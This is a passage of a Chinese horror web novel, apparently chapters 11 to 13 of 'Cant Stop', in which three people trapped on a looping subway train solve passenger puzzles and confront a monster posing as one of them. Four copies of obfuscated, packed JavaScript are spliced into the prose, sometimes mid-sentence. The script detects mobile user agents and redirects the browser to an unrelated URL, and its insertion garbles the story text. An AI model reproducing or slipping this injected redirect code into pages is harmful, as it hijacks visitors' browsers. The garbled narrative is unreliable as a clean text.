“哎,来都来了,管它龙潭虎穴还是桃花源记,还能走了不成。”秦赤年挠挠头,“二位,这安检说东西不对,有什么想法吗?” “理它干嘛,直接进去试试。”季蕾蕾言罢便走向安检门。 “嘶!” 她才一抬手,指尖过了那么半厘米的门,突地便被一阵电流击中,疼得骤缩回手。 “这、这门里头有电!不对,不止这门……这一片的区域都有电流挡着!” 不是吧,秦赤年不信邪地也伸了手,看不见的电流流经指尖,刺得她龇牙咧嘴。 “难道说……” 她微弯下身,朝安检传送带设备里头伸了伸手。 没有电。 ……要通过安检的,是他们? 秦赤年躺上黑色的传送带,季蕾蕾和方守被她此举一惊,却发觉一直在吵嚷的电子声停了。 “安检中、安检中……” “标记成功!” 秦赤年在设备的另一端下了传送带,示意二人也如法炮制,三人齐齐过了安检,又发现了不对劲。 “方大哥,你脖子后头有个标志!” “哎,哎?” “啊,秦赤年,你脖子上也有。” 三人后脖处都出现了一个奇怪的黑色标记——一个黑圈内三个黑点,直径三厘米左右,上下排列,上方两个,下方一个。很像数学里的“因为”符号。 “为了您的安全,请勿逃票!请勿逃票!” 电子声这样念叨着,购票机屏幕上却一片乱码,1号线路和3号线路红蓝交错,像是猫抓乱了毛线团,根本无法选择到站地点。 秦赤年只能点击下方的“购票”。 三个乘车币从下方出口掉落。 拿起一看,上面映着和他们脖子后一样的图案——三个黑惨惨的点,数学里的因为符号。 “为了您的安全,请马上乘车!请马上乘车!” 季蕾蕾看了看手里的乘车币,环望面前死寂无人的地铁站:“……感觉怪怪的。” 这空空如也的车站,没了以往上下班高峰挤死人的气势,非但不令人舒心,倒是哪哪都透露着违和感。 昏绿色的灯光闪晃头顶,地面前后左右贴着乘车提示,换乘一号线往这里,换乘三号线往那里……乌口道站修建得很早,里头的设施多多少少带着年代损旧感。一切都正常,只是没有人。 乘车,得乘哪班车? 乌口道地铁站共有四趟列车——以红色为代表色的一号线,从三桥河开往云园方向,和从云园开往三桥河方向,这两趟车在地下一层,中间有广告牌挡着,得下楼到对面才能换向。是6B标准型列车:六节车厢编组,B型列车参数。 而以蓝色为代表色的三号线,则有从南站开往小靛方向、小靛开往南站方向两趟列车,在地下二层。换向直接通过月台到对面即可,中间没有广告牌的遮挡,可以透过车窗看到对面列车的景象,也是6B标准的列车型号。 “不知道你们有没有听说过关于地铁站的都市传说。”秦赤年忽然开口。 “什么?” “据说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161391|138138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每到深夜,地铁站的最后一班车会熄灭所有的车灯,此时不管有多急着回去,也绝对不能搭乘。” 几人下着楼,脚步声泛起响音,回荡四周。 季蕾蕾神情一怔:“为、为什么……” “因为啊,”秦赤年压低了声音,“那趟末班车是趟空车,车上没有活人,是一辆为了运载因地铁而死去的鬼魂的灵车……” “……” 一片沉寂。 季蕾蕾:“哦,好可怕啊。” “哎?” “2022年了,你敢讲这种老掉牙的鬼故事,我都没耳朵敢听。” 秦赤年讪讪一笑,摸了摸鼻子:“抱歉,抱歉。” 一直没说话的方守却陷入了沉思: 他刚巧有一天晚上,加班加得太迟了,坐着乌口道站的末班车回家,那天,好像车上,确实一个人都没有…… 三人来到地下二层。 四趟地铁列车的车窗、车门处都被黑色幕布遮罩住,看不清里头的景象,车门也紧紧关闭着,除了……最末尾的车厢。 只有每趟车最末的一扇车门是开着的。 周围并没有更多的提示,譬如需抵达的站点之类的,三人便随机决定了搭乘的列车——开往南站方向的蓝色三号线列车。 上车前,秦赤年注意到了,车门上写着“限乘5人,违规下车”。 她挑了挑眉,没作多想。 走进车内,听到车门在身后砰一声关闭,三人尚未作出反应,就被地上的景象吓了一跳。 地上趴着一个穿着蓝色外套的男人。 “喂,你没事吧?”方守连忙上前,将那人翻了个身。 “啊啊!!” 这不翻过身还好,翻面凑近儿一看,差点没把方守吓得心脏骤停——这个趴倒在地的人,脸上没鼻没眼,没有任何五官,只赤裸裸点着三个游戏币大小的黑色圆点。 和他们乘车币、脖子后头的标志一模一样。 惨兮兮的黑点,数学里的因为符号。 咔。 圆点裂开了。 在裂开的缝隙间,赤红色的舌头伸了出来,吐出一个东西。 是一个扭蛋。 扭蛋骨碌碌滚着,滚到了秦赤年的脚下。 秦赤年忍着不适捡起扭蛋,打开,里头放着一张纸条。 她摊平纸条,方守和季蕾蕾亦凑上前查看,上面写着三行话: 不要回头! 不要回头! 不要回头! 11.Cant Stop 011 一滴冷汗,自后背淌下。 秦赤年收起纸条。 别说回头了,看完这纸条提示的第一秒,三人大气不敢出,仿佛身后就蛰伏着恐怖的洪水猛兽。 不要回头。 那就只能往前走了。 “你们看那。”方守指着列车最上方的LED提示板,以往这黑底红字的显示屏会轮播下一站的站点名,而现在,却滚动着这样一行字: 目标:启动列车 他们虽然搭乘上这趟3号线列车,车子却毫无运行的迹象。所以这场光环任务的目的,就是要启动这辆列车? “这该怎么启动……要我们去驾驶室吗?” 秦赤年:“估计是。我们往前走着看看吧。” 车内的窗户、车门同样由于黑布遮罩,看不到外面的景象。本该展示路线图的电子屏上一通乱码,而乘客座位上方的小电视机屏幕,则全都显示着一模一样的图案—— 三个黑色圆点。 惨兮兮、黑洞洞的圆点。 盯着这圆点看久了,几乎会不由自主地……将其当做张脸。 一张脸,两只黑眼,窥尽车内景象。 秦赤年晃了晃脑袋,甩掉这个想象。 这节车厢除了最开始倒在地上的“人”之外,再无其他乘客,几人很快走到头,车厢与车厢连接处的门关着,同样以黑布遮挡了对面的景象,秦赤年不抱什么期待地一拉。 门居然开了。 三人走进下一节车厢。 激烈的音乐声传来。 这乐声震耳欲聋不说,放的还是最土嗨的曲子,三人皱眉望去——一个人高马大的壮汉,背靠着车上的扶杆,穿着龙虎花纹浮夸极了的T恤,一头外放音乐,一头将人字拖在地上踩出格莱美获奖作品的节奏。 壮汉对面坐着个穿着职业装的年轻女子,捂着耳朵,不胜其扰。 自然,这两个“人”的脸上都没有任何五官,只嵌着三个黑色圆点,取代了眼睛和嘴的位置。 三人一时无言。 方守大着胆子上前,拍了拍壮汉的肩膀: “你好,地铁上是禁止外放视频音乐的。” 壮汉回头,看了他一眼。 惨戚戚的三个黑点,似看非看,倒叫人起一身鸡皮疙瘩。 壮汉转回了头。 音乐声继续。 方守平日里最不耐这些在地铁上外放的家伙,一时还想再劝其改过自新,倒是秦赤年突然想起什么,在背包里翻找了会儿。 找出一个玫粉色的头戴耳机。 她把耳机戴在中年壮汉的头上,扒拉个稳当的位置,再将两端的线插好。 音乐声消失了。 地铁内恢复安静状态,空气都令人愉悦多了,对座的OL姐姐像模像样地“松了口气”,脑袋调转方向,望着秦赤年等人,张开了位于“嘴”处的黑色圆点。 吐出了一枚扭蛋。 三人面面相觑,有点明白了这个“游戏”的规则。 秦赤年捡起扭蛋,打开,又是纸条: *!人=≠车厢?&小心#^ 嗯? 什么意思? 秦赤年看了眼季蕾蕾,后者摇了摇头,看了眼方守,也是一头雾水。 三人只能继续走,进入了下一节车厢。 这节车厢的座位上只有一名乘客。 一个戴眼镜的年轻男性,垂着脑袋,膝盖上放着台笔记本电脑,比其他“人”更黑的圆点盯着屏幕,手指正在飞速敲打着什么。 三人凑上前一看,满屏幕密密麻麻的Java代码。 戴眼镜的男人抬头,看了眼他们。 低头,在代码中敲了行字: ——我已经三天没睡觉了,可以请你们给我一个枕头吗?等会还要去公司加班,我想在地铁上休息一会。 秦赤年沉痛:“……太惨了。” 三人在包里搜寻了一通,谁也没带个枕头。 三人无奈,只能继续往前走,程序员小哥低下头,又敲起了代码。 下一节车厢。 好家伙,这节车厢乌压压全是人。 面贴面,背怼背,简直没有能下脚的地方,三人挤在人堆里艰难前行,嵌着黑色圆点的脸转向他们,盯着看了会,又转开目光。 季蕾蕾身上还穿着洋装,蓬蓬裙挤得格外艰难,嘴里嘟嘟囔囔抱怨着,推搡中,一瞥眼发现了情况: “喂,你们看……” 角落里,一个西装革履的中年男人,正紧紧贴着站在身前的年轻女性。 动作和姿态都很不对劲。 季蕾蕾蹙起眉,想要走过去探个究竟,奈何这人挤人的,她实在忍受不了,抽出别在腰间的洋伞,哗啦,撑了开来。 人群一凝。 瞬间,在季蕾蕾四周推搡着的人群,以伞中央为圆心分散开来,在距洋伞主人几厘米处牢牢站定,不推也不挤了。 ……这洋伞对正常人没有用,但对红人和这群列车上的“乘客”而言,倒是能生效。 季蕾蕾走近那个中年男人,他手里还拿着公文包,侧挡着下身,简直此地无银三百两到了极点。 季蕾蕾想了想,将洋伞递给了中年男身前的女性。 什么都没发生。 “季、季蕾蕾,怎、怎么了,你发现什么线、线索了吗——” 秦赤年和方守好容易才从人堆中挤了过来,话都给挤得说不利索,季蕾蕾看了他们一眼: “抓到个变态。” 她握着洋伞伞柄,思虑数秒,牵起了那名年轻女性的手,一同握住了伞柄。 洋伞之下,中年男瞬时不由自主地后退了一步,和女性拉开了距离。 秦赤年十分惊讶:“这伞还能这样用?” 季蕾蕾“哼哼”了声,年轻女性望着三人,再次像前几节车厢里的乘客一样,黑色圆点裂开一缝,扭蛋自其中吐了出来。捡起扭蛋,拆开来,里头是一枚一元硬币。 “这能干什么用?” 季蕾蕾举起硬币,在光线下眯眼瞅着。 “不知道,先收着吧。” 谜题和扭蛋越来越奇怪了,三人进入下一节车厢。 这次的乘客是放学的高中生们,穿着校服,三五成队,脸上的圆点通通弯成弧形,有说有笑的。 三人走上前,一个高中男生戴着耳机,手里捧着卷子,看到有人走近,便朝他们递过来卷子。 “哎?这是要问我吗?”方守一惊,望向卷子上的题目,陷入沉思:“喔,这种题目啊,我想想……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176535|138138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 是道语文选择题,文学常识类型,四选一。 “那就……应该选C吧?” 高中男生填了个C上去,哗啦啦,翻到卷子最末的参考答案。 找到了对应题目,他一看便摇了摇头,叹口气,从校服口袋里摸出了一元钱,扔给了方守。 “??” 方守接过硬币,伤害性不大,侮辱性极强,他愣没反应过来。秦赤年和季蕾蕾在不远处唤了他:“方守,快过来。” 车厢尽头的角落里,有个红色的自动贩卖机,秦赤年季蕾蕾两人蹲在贩卖机前。 “你们瞧,这里头有卖枕头!” “还真是,哎,等等,自动贩卖机什么时候连枕头都卖了……” “我瞅瞅,售价一元,咱们刚刚正好扭蛋开出了一枚硬币,买了这个枕头,就能给那个可怜的程序员小哥了……” 硬币入柜,枕头掉了下来。 “等一下,要怎么给?”季蕾蕾突然道。 ——不要回头! 如果在车内不能回头的话,他们就是在这买了枕头,又得怎么给在前面车厢的乘客? 这确实是个问题。 不过……既然已经买了,就带上吧。 方守递来一枚硬币:“我这还有一个硬币。” 三人望着贩卖机里奇形怪状的玩意,只有“七彩花仙变身棒”是买得起的,咔啷,购入。 继续前进,前方应该就是最后一个车厢了。 拉开车门,就听人类幼崽哇哇大哭声。 一个小女孩坐在地上,五六岁的年纪,黑圆点里头溢满泪水,哭得情难自抑,任凭站在一旁的“妈妈”如何拽她起身,都不为所动,哭声震天响地。 秦赤年悟了,这是哪门子的地铁众生相? 她朝小女孩蹲下身,递去刚刚在贩卖机购入的“七彩花仙变身棒”,1块钱,超值了好么。 小女孩盯着变身棒,吸了吸鼻子,虽然她脸上并没有这个器官,但还是奇怪地发出了类似吸鼻子的声音,哭声渐渐止歇。 妈妈朝三人鞠了个躬,张口,扭蛋吐出。 是一把红色的钥匙。 三人朝最后一扇门走去,打开这扇门就是3号线的驾驶室,只要启动列车,就能完成这个所谓的光环任务。 哗啦—— 门开了。 地上躺着一个男人,穿着一件蓝色外套。 三人怔住。 “这……这里……” 秦赤年压下心中的诡异感,继续往前走,拉开车厢的门。 穿着浮夸龙虎T恤的壮汉,戴着她的玫红色耳机,在听歌。 对面则坐着穿职业装的OL姐姐。 “这、这不是刚刚在——”方守发出惊呼。 秦赤年不信这个邪,又打开下个车厢的门。 程序员小哥正敲着代码。 再打开门。 人挤人的车厢。 再开。 聊天的高中生们。 再开。 小女孩坐在座位上,玩着花仙变身棒。 哗啦。 打开车门。 蓝色外套的男人躺在地上。 三人面面相觑:“我们……绕回来了??” 12.Cant Stop 012 事出反常必有妖。 这之后,不管三人如何在车厢内狂奔,一个接一个推开车门、前往下一节车厢,最后总会绕回最初的位置——那个穿着蓝色外套的男人倒在地上,扭蛋提示他们“不要回头”的车厢。 不对劲。 有哪里不对劲。 这是……鬼打墙? “看样子不管怎么走,最后都会绕回来。”秦赤年在座位上坐下,“我们……得理一理这个情况。” 这趟列车共有六节车厢,车厢和车厢之间由推拉式车门隔挡着,门、窗皆覆着黑布,无法看清下一个车厢的景象。 第一节车厢,此处姑且把他们进入列车时所在位置作为第一节车厢,车厢内趴着一个穿着蓝外套的男人,他给了他们一个扭蛋,提示“不要回头”。 第二节车厢,有外放音乐的大叔和OL女性,解决完外放噪音问题后,OL给了他们一个扭蛋,提示*!人=≠车厢?&小心#^。 第三节车厢,是程序员小哥所在的车厢,他向三人请求要一枚枕头。 第四节车厢,人挤人车厢,解决变态完大叔之后,得到了一枚硬币。 第五节车厢,自动贩卖机和放学的高中生所在的车厢,他们用两枚硬币分别购买了枕头和“七彩花仙变身棒”。 第六节车厢,他们用变身棒换来了一把红色钥匙。 当他们打开第六节车厢通往驾驶室的门时,却回到了最开始的第一节车厢。 ……咬尾蛇般的列车。 三人来到第三节车厢,将枕头给了程序员小哥。小哥非常高兴,在笔记本电脑上噼里啪啦打出一大段感激的话。 ——谢谢你们,我要把这个送给你们。 三人接过小哥的礼物,是三副透明的眼镜。 ——这副眼镜只能使用一次,用过后即失效,请小心! 小哥打上最后一行字,便合上电脑,靠着枕头心满意足地睡着了。 三人收下眼镜,秦赤年拿出之前取得的纸条,摊平。 *!人=≠车厢?&小心#^。 还剩下这个谜题,以及红色钥匙的使用途径未知晓,别的……就再没其他线索了。 人?车厢? 什么意思? 秦赤年回想起上车前看到车门上的警告。 ——限乘5人,违规下车。 是指要小心车厢上的人数吗?可限载5人的话,他们才3个人,也没有超标啊? 而且,违规应该是根本无法搭乘这班车,而不该是现在这个“咬尾蛇”的状态。 说起来也怪,这种6B型列车,运载量该是2000人到3000人左右,不可能会有5个人就限乘的说法。 “会不会……是我们上错了车?”季蕾蕾道,“其实不应该搭乘3号线这班地铁。” 秦赤年挠了挠头,当时四趟列车的门都只有最末的车厢开着,难道他们真的搭错车了? ——不,不对。 某种奇异的直觉告诉她,搭乘哪趟列车并不影响这个“光环任务”。 “还有这把红色钥匙,哪都没找到能用上它的地方。” 秦赤年觉得脑袋发晕:“哎,应该还有我们没发现的线索,再找一趟吧。” 三人又调查了一遍列车。 从第一节车厢搜查到最后一节,而后又绕回了第一节。 一无所获。 “啊!我放弃了!” 季蕾蕾整个人坐倒在座位上,嘴里骂骂咧咧:“不管怎么样都会绕回来,这根本就没法到驾驶室啊!那还启动什么地铁!” 骂完又想到什么,噌地坐直,将被压出褶子的Lo裙一一抚平。 方守环望四周,高中生们还在有说有笑地聊天,和三人焦头烂额的状态形成对比。 “咱们肯定是乘错车了吧?说不定,广播要求我们搭乘的,其实是其他线的地铁……” “就算是这样,现在我们也没法下车!又有什么用?” 三人已经尝试过了,上车之后,第一节车厢的车门就自动关闭,无法再打开。 走入死局。 秦赤年在季蕾蕾和方守对面的座位上坐下来,这两人累的够呛,翻出包里的水,正大口灌下。 “喂,秦赤年,接着。” 季蕾蕾朝她扔来一瓶水,她接过,道了声谢。 还是百岁山。 秦赤年有思考时就喜欢咬点什么东西的坏习惯,此时也一样,虎牙磨过指尖,锐物带来的微微疼感,让她稍稍清醒了些。 第一个见到的红人,也是因为百岁山。 真是命犯百岁山啊。 她喝了一口水,看到对面车窗上映出的自己。 ……哎? 等一下。 车窗内不仅映出了她,自然也映出了一脸不耐、仿佛下一秒就会爆发的季蕾蕾,和愁眉苦脸的方守。 以及四周的高中生们。 哎?这些高中生难道也算“人”吗? 如果算的话,按照车门上“限乘5人”的要求,这趟列车不是早都超载了吗? 如果不算的话。 怎么样才算是“人”? ——*!人=≠车厢?&小心#^ 人等于车厢?不等于车厢?到底是等于还是不等于? 小心?小心什么? 秦赤年捏着手里的百岁山,矿泉水瓶嘎吱嘎吱作响,她站起身,道:“我有一个想法。” * “分头行动?” “对。从这节车厢开始,我先走到下一节车厢,也就是第六节车厢,就叫6号车厢吧,你们俩则待在原地不动。之后,我再走向6号车厢的下一节车厢,也就是开始的1号车厢,这大约会花费5分钟左右时间,而5分钟后,你们再前往6号车厢。” “这不是要让我们错开吗?” “对,就是错开。以此类推进行下去,直到……直到发现车厢有什么新线索,我会停下来,在原地等你们。” “这会有用吗?” 秦赤年笑笑:“总得试试嘛。我可不想继续在这又闷又臭的地铁上绕下去了。” 方守和季蕾蕾点点头,应允了这个计划。 “喂,你一个人……要小心点。” 秦赤年朝季蕾蕾比了个“OK”的手势,朝车门走去。 打开车门,座位上的小女孩映入眼帘,她还在摆弄那个变身棒,母亲则坐在她身旁,一言不发。 和原来一样的场景,没什么变化。 秦赤年继续往前走。 哗啦——拉开了车门。 蓝色外套的男人会躺在地上。 秦赤年惊讶地环望四周——不,这个车厢是空的。 一个人都没有。 变化……居然这么快就出现了? 她走到新的车厢了? 空荡荡的座位,没有人搭乘过的痕迹,成排的拉环随不知哪儿传来的风微微摆动。 秦赤年走到车厢尽头,想继续打开下一扇门。 蓦地,想起和季蕾蕾方守的约定,停了下来。 她拿出手机,马上就要到5分钟了。 哗啦—— 身后传来门打开的声音。 “怎么样,发现了什么?” 季蕾蕾的声音响起。 秦赤年下意识想要回头,想起了纸条提示,忍住没动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187302|138138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这是间新的车厢,以前我们从来没来过。” “还真的是这样……这到底是怎么回事?” “但这间车厢一个乘客都没有,好像不会有扭蛋提示了,咱们再按照之前的计划往前走吧。” 说不定驾驶室就在前面。 当然,这只是最乐观的估计。 “不,”季蕾蕾否定了这个想法,“从前面的经验来看,每个车厢都会给出一定的线索,这节车厢想必也是。不应该贸然就往前走。” 这话说得不无道理,秦赤年点点头,三人决定再仔细调查一下这节车厢。 按照正常的设置,6B型号的列车,就只有六节车厢。 那他们现在……是走到了7号车厢? 所以这趟见鬼的3号线地铁到底共有几节车厢? 走走转转,东察西看,搜寻了十多分钟,这间车厢还是一目了然——没有乘客,也没有道具,若要说有哪里值得注意的,就是温度要比其他车厢低,低得多,秦赤年短袖长裤,呆久了都觉得有些冷,一连打了好几个喷嚏。 季蕾蕾望向她:“赤年,你很冷吗?” 秦赤年点点头:“有点儿。” “可惜我没有带件外套给你。” “不打紧不打紧。” 目前,他们手上还剩的道具,就是红色钥匙和程序员小哥给的眼镜。这节车厢看起来没有地方需要用到钥匙,难道说……眼镜要派上用场了? 可那个程序员小哥说,这玩意只能使用一次,用完即失效。 而他也没有说这眼镜的功能是啥。 秦赤年猛然抬头。 季蕾蕾吓了一大跳:“怎么了?” “啊,没,没没。”秦赤年尴尬一笑,摆了摆手,心中却纳闷得很——刚刚,季蕾蕾叫她什么? “什么都没发现。”方守走了过来,说道。 “真奇怪。”季蕾蕾撇撇嘴,“怎么会什么都没发现呢?” 她用手拈起蓬蓬裙裙边,提着裙子慢慢在座位上坐下,坐好之后才松开手,一连串动作优雅流畅,蓝色的洋装在她身上裁剪合身,衬得身姿玲珑秀俏,既可爱,又有一种浑然的高贵感。 秦赤年摸出兜里的眼镜,一不做二不休,就试试看吧。 她戴上眼镜。 毫无变化。 低头,地板还是地板,PVC材质,灰亮灰亮。 抬头,车厢顶还长那样,扶手吊环晃荡。 侧过头,望向车窗外—— “啊。”她不禁发出短短的一声惊呼。 窗外的景象,如拨云见雾,骤然清晰无比地展现于眼前! 这是一副透视眼镜,可以看到车窗外面的场景! 秦赤年连忙走近车窗,她本就有一两百度的轻微近视,得走近些才能看清,季蕾蕾和方守则在一旁奇怪地盯着她。 窗户外…… 五官亮丽的明星举起手中的汉堡炸鸡,摆出热情洋溢的笑容,那是金拱门的最新广告。 秦赤年眨了眨眼,手指在眼镜边缘的按钮随手一点。 广告牌也成功透视。 透过广告牌,她终于清楚地看到了对面、另一趟列车上的景象。 是她完全没想到过的景象。 四肢百骸骤然一僵,麻痹神经般的冷感从头贯到脚底,不知是因为车厢的温度又低了,还是因为眼前所见。 对面的地铁列车上,季蕾蕾和方守正朝她疯狂挥着手。 他们在说什么,她这头一句都听不见,季蕾蕾将双手置于唇旁,作着非常夸张的口型。 秦赤年终于看懂了那个口型。 她在说—— 快逃。 13.Cant Stop 013 “你怎么了?在看什么?” 季蕾蕾的声音响起。 不知何时,她坐到了离秦赤年极近的地方,说话时,声音几乎是贴着耳朵传来。 秦赤年呆呆地望了眼她。 “怎么不说话呀,赤年?” 靠,季蕾蕾什么时候这样叫过她! 她从来都是连名带姓地喊她秦赤年的! 秦赤年僵硬地笑了笑,挥挥手中的眼镜:“这玩意一点用都没有,咱们被那个程序员小哥耍了。” 她垂下眼,目光不经意地瞥了眼季蕾蕾脚下,“对了,说起来我一直想问,你这双鞋子可真好看,是在……哪买的?” 季蕾蕾低头看了眼自己的鞋子。 她捂嘴笑了笑:“哎呀,哪买的呢……我早忘了。” 唰。 秦赤年抽出背包里鼓棒。 车厢的温度又低了。 成排的拉环,随不知哪里漏进的风,晃起凉飕飕的响音。 咔啷。咔啷。 “赤年,你这是……怎么了?” 僵硬的笑意自脸上完全敛去,黑发下是冷下来的黑目,以及碎乱刘海间,那截沉沉冽冽的断眉。 “你是什么人?” “你在说什么,我是季蕾蕾呀。” 她扯起唇角,笑笑:“别闹了姐姐,你要是季蕾蕾我现在就从车上跳下去。你们到底是什么人?对季蕾蕾和方守做了什么?他们怎么会——” “怎么会突然跑到对面车厢上去”,这半截话她没说完。 拉环的响声突然没了。 空气里泛起喀嚓、喀嚓的声音,细碎的异动自四面八方袭来,窸窸窣窣,似要顺耳蜗钻入全身上下。 什么东西在结冰。 车窗瞬间被大片霜气裹覆,那幽白色的冰霜顺着窗框攀上车顶,以惊人的速度散布开来,几乎只在眨眼间,座位、扶手、地面,目之所及车厢内的所有设施,皆结上了厚厚的一层冰! 冷! 寒意倾袭而来,牙齿都开始打颤,裸露在外的肌肤仿佛要冻凝在空气之中,霜雾漫散视野,秦赤年微眯起眼,看清了雾气中朝她走来的人。 蓝色洋装还套在身上,却像依照两个厂家规格生产的灯罩与灯柱,别扭极了。那华丽蓬蓬裙之下的人,已经完全变了面目。 极白的肌肤,透着幽蓝反光,扭曲的面庞似人、而非人,那腥浓如血液凝固的,是面中巨大的红色光环。 “季蕾蕾”弯起嘴角,长到胸前的舌头轻卷,是一个真正的季蕾蕾绝对不会露出的笑容。 “就差……三个了……这是……天大的好机会……谁会有我……这么幸运……” 她“嘎呀”、“嘎呀”地笑起来。 “只要,杀掉了你们!!” 锋利的红色冰锥,朝秦赤年的颈部袭来! * 二十分钟前。 季蕾蕾和方守看了眼手机上的时间,5分钟已经过了,他们该前往下一节车厢了。 季蕾蕾转动把手,拉开了车门。 没记错的话,5号车厢后是6号车厢,有那个小女孩在,他们把“七彩花仙变身棒”给了她。 蓝色外套的男人倒在地上。 季蕾蕾和方守瞪圆了眼,不敢相信自己的眼睛。 这里是——1号车厢?? 怎么可能!他们明明是从5号车厢过来的,怎么会进到了1号车厢!? 两人绕过蓝外套男人,奔至这节车厢的车门处,季蕾蕾握着门把的手已经开始冒汗,她咬咬牙,打开了门。 大叔戴着秦赤年的耳机,正沉醉地听着歌。 OL女性浏览着手机里的讯息。 ——这是2号车厢。 两人走至车门处,开门。 季蕾蕾已不太敢想象接下来开启的会是哪个车厢的门。 ——乌压压的人。 人头攒动,呼吸声、衣物摩擦声交杂,这是人最多的4号车厢。 挤至车门位置,再次开门。 高中生抬头,看了眼他们,又撇开了眼,继续和同学聊天。 5号车厢。 季蕾蕾深吸一口气,手指落在门把上。她在内心安慰自己:如果这次开门看到的是在玩变身棒的小女孩,她一定能说服自己,刚刚从5号车厢开门后看到的都是幻觉。 咔嚓。门开了。 蓝色外套的男人躺在地上。 季蕾蕾腿一软,险些没站稳,方守说话的声音都带着颤:“这、这、这怎么可能……” “我们……从5号车厢,进到了1号车厢……然后又到了2号车厢、4号、5号……难道接下来,得在1号、2号、4号、5号这四节车厢打转吗?” 方守喃喃:“这到底是怎么一回事,我已经弄不明白了……” “秦赤年!”季蕾蕾突然站直起身,“等一下,秦赤年去哪了?” 秦赤年是在他们前头进入的车厢,如果规则和之前一样的话,她会进入6号车厢。 如果……规则变了呢? ——等等。 规则,规则到底是什么? 为什么他们和秦赤年分开后,就从5号车厢走入了1号车厢? 是因为某种“规则”在搞鬼么? 季蕾蕾捂着额头,大脑快要烧起来,方守一脸愁色地望着她,望得季蕾蕾心中更急:“你这样看我也没用,我也不知道是怎么一回事!倒是你,方守,你好歹是个男人,快想想办法!” 方守这辈子最怕的就是“你好歹是个男人”这句话,而要命的是,他从小到大听得最多的就是这句话。只能道:“咱们……再往前走走吧,验证一下是不是你说的那样。” 十分钟后。 结果就如季蕾蕾所说。 从1号车厢走到2号车厢,之后再开门,进入的却不是3号车厢,而是4号车厢。 4号车厢之后是5号车厢,5号车厢后又来到了1号车厢,以此循环。 ……疯了。 3号车厢和6号车厢宛如凭空消失——他们无论怎样都抵达不了。 季蕾蕾跌坐在靠椅上,垂下了头,Lo裙因一路奔波皱巴巴的。 方守叹口气:“咱们手里还有这把红钥匙和两副眼镜。” 季蕾蕾抬了眼:“这儿有需要钥匙的地方吗?” “没……” 季蕾蕾接过方守递来的透明眼镜,把弄了一下,眉头越皱越紧:“这看起来只是副普通眼镜,那家伙也没说干什么用,这算什么提示!” “有时候,提示不一定是对的。” 一道男声响起。 不是方守的。 季蕾蕾惊讶不已,那个靠在栏杆旁,捧着卷子做题的高中男生,突然开口说话了! 他们这一个个车厢过来,还没见过这些脸上三个圆点的“乘客”说过话。 高中男生还在继续:“提示可以是正确的误导,也可以是错误的警示,在难以确认的情况下,尝试并代入,才是明智的做法。” 季蕾蕾:“……” 男生又转向方守:“刚刚那道题目,其实A、B、C、D四个选项都是对的。” 之后他不再说话,低头专心致志,研究起卷子来。 方守和季蕾蕾面面相觑。 “我们都拿到过哪些提示?” “2号车厢有一则,还有1号车厢。” ——*!人=≠车厢?&小心#^ 鬼画符一样的提示,看不懂。 ——不要回头! 季蕾蕾皱着眉头,手指轻搭在下颏处。 “回头……” 虽然,最开始在1号车厢看到这则提示时,三人都给惊出了一身冷汗,可现在想想,不管回不回头,对于这场光环任务来说,其实并没什么影响。 因为会绕回去。 终点与起点仿佛被串连在一块,每当走到最后一节车厢,再开门时,必然回到了第一节车厢。循环往复。 这一来回头不回头就没什么意义了,因为他们其实一直在“回头”。 那么……如果现在真正地回一次头呢? 会发生什么事情? 季蕾蕾望了眼方守,方守心惊胆战地摇摇头,那眼神切切实实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201164|138138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在说:我的姑奶奶,你可别乱来。 但季蕾蕾管不了那么多了。 再不找到新出路,她得在这几节车厢内绕疯掉! “方守,我数321,我们一起回头。” “真、真的要这么做吗……” “除此之外,你还有什么对策吗?” 方守叹口气:“你这个,也不能叫对策呀……” “如果是秦赤年那家伙在这,肯定也会这么做。” 3。 2。 呼出一口气,心跳在加快。 1。 两人回头。 * 冰锥划过脸侧。 血珠渗出,飞溅空气中,又迅速凝结。 “姐姐,打人不打脸啊。”秦赤年痛得龇牙,“你这可不上道。” 红人咧开嘴:“谁是……你姐姐……你乖乖受死就好!” 